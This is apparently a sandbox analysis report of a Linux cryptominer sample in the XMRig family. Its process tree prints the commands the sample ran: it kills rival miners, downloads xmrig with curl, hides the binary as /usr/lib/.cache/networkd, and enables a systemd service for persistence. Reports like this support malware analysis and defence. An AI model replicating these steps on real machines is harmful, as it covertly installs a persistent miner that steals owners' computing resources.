Analysis

  • max time kernel
    24s
  • max time network
    10s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    31/08/2026, 23:16

General

  • Target
    66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
  • Size 6KB
  • Sample260831-285bvsaf37
  • SHA256 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
    /tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
    1⤵
    • Executes dropped EXE
    • Modifies systemd
    • Writes file to tmp directory
    PID:712
    • /bin/hostname
      hostname
      2⤵
        PID:717
      • /usr/bin/tr
        tr -cd "[:alnum:]-"
        2⤵
          PID:718
        • /usr/bin/id
          id -u
          2⤵
            PID:723
          • /usr/bin/whoami
            whoami
            2⤵
              PID:725
            • /bin/hostname
              hostname
              2⤵
                PID:728
              • /usr/bin/pkill
                pkill -f /usr/lib/.cache/networkd
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:730
              • /usr/bin/pkill
                pkill -f /tmp/xmrig
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:734
              • /bin/sleep
                sleep 1
                2⤵
                  PID:737
                • /usr/bin/curl
                  curl -fsSL -o /tmp/xmrig.tgz https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz
                  2⤵
                  • Writes file to tmp directory
                  PID:747
                • /usr/bin/sha256sum
                  sha256sum /tmp/xmrig.tgz
                  2⤵
                    PID:751
                  • /usr/bin/awk
                    awk "{print \$1}"
                    2⤵
                    • Reads runtime system information
                    PID:752
                  • /bin/tar
                    tar xzf /tmp/xmrig.tgz
                    2⤵
                      PID:753
                      • /usr/local/sbin/gzip
                        gzip -d
                        3⤵
                          PID:754
                        • /usr/local/bin/gzip
                          gzip -d
                          3⤵
                            PID:754
                          • /usr/sbin/gzip
                            gzip -d
                            3⤵
                              PID:754
                            • /usr/bin/gzip
                              gzip -d
                              3⤵
                                PID:754
                              • /sbin/gzip
                                gzip -d
                                3⤵
                                  PID:754
                                • /bin/gzip
                                  gzip -d
                                  3⤵
                                    PID:754
                                • /bin/cp
                                  cp -f /tmp/xmrig-6.26.0/xmrig /tmp/xmrig
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:759
                                • /bin/mkdir
                                  mkdir -p /usr/lib/.cache
                                  2⤵
                                  • Reads runtime system information
                                  PID:763
                                • /bin/cp
                                  cp -f /tmp/xmrig /usr/lib/.cache/networkd
                                  2⤵
                                    PID:764
                                  • /bin/chmod
                                    chmod 750 /usr/lib/.cache/networkd
                                    2⤵
                                      PID:768
                                    • /bin/chown
                                      chown root:root /usr/lib/.cache/networkd
                                      2⤵
                                        PID:769
                                      • /bin/rm
                                        rm -rf /tmp/xmrig /tmp/xmrig.tgz /tmp/xmrig-6.26.0
                                        2⤵
                                          PID:770
                                        • /bin/cat
                                          cat
                                          2⤵
                                            PID:772
                                          • /bin/chmod
                                            chmod 600 /usr/lib/.cache/.net.json
                                            2⤵
                                              PID:773
                                            • /bin/chown
                                              chown root:root /usr/lib/.cache/.net.json
                                              2⤵
                                                PID:775
                                              • /bin/date
                                                date "+%s"
                                                2⤵
                                                  PID:776
                                                • /bin/sed
                                                  sed s/vps-debian9-mipsbe-20260513-en-5-01/deploytest-1788218176-712/ /usr/lib/.cache/.net.json
                                                  2⤵
                                                    PID:777
                                                  • /bin/sleep
                                                    sleep 8
                                                    2⤵
                                                      PID:781
                                                    • /usr/lib/.cache/networkd
                                                      /usr/lib/.cache/networkd --config /tmp/.nettest.json
                                                      2⤵
                                                        PID:780
                                                      • /usr/bin/tail
                                                        tail -5 /tmp/.nettest.log
                                                        2⤵
                                                          PID:814
                                                        • /bin/sleep
                                                          sleep 1
                                                          2⤵
                                                            PID:815
                                                          • /bin/rm
                                                            rm -f /tmp/.nettest.json /tmp/.nettest.log
                                                            2⤵
                                                              PID:819
                                                            • /bin/systemctl
                                                              systemctl list-units
                                                              2⤵
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:821
                                                            • /bin/cat
                                                              cat
                                                              2⤵
                                                                PID:822
                                                              • /bin/systemctl
                                                                systemctl daemon-reload
                                                                2⤵
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:824
                                                              • /bin/systemctl
                                                                systemctl enable /etc/systemd/system/networkd.service
                                                                2⤵
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:848
                                                              • /bin/systemctl
                                                                systemctl restart /etc/systemd/system/networkd.service
                                                                2⤵
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:869

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  networkd.service

                                                                  • Path /etc/systemd/system/networkd.service
                                                                  • Size 413B
                                                                  • SHA256 481c43849ffe965bfa4872016afe3187ae752cdcdc8b5b9f24f09e9029fdd5ad
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  .nettest.json

                                                                  • Path /tmp/.nettest.json
                                                                  • Size 836B
                                                                  • SHA256 a1650a7841b94f91ea8be8f6f89c913a46f74dbb29e299c6f128999d2c2d0a90
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  sh-thd.KYlbsQ

                                                                  • Path /tmp/sh-thd.KYlbsQ
                                                                  • Size 846B
                                                                  • SHA256 588a5c341ca169ff9581d973ec0888e60f6c5c3a00d8089aec13b547028f7517
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  SHA256SUMS

                                                                  • Path /tmp/xmrig-6.26.0/SHA256SUMS
                                                                  • Size 150B
                                                                  • SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  config.json

                                                                  • Path /tmp/xmrig-6.26.0/config.json
                                                                  • Size 2KB
                                                                  • SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  xmrig

                                                                  • Path /tmp/xmrig-6.26.0/xmrig
                                                                  • Size 8.0MB
                                                                  • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  xmrig.tgz

                                                                  • Path /tmp/xmrig.tgz
                                                                  • Size 3.4MB
                                                                  • SHA256 fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH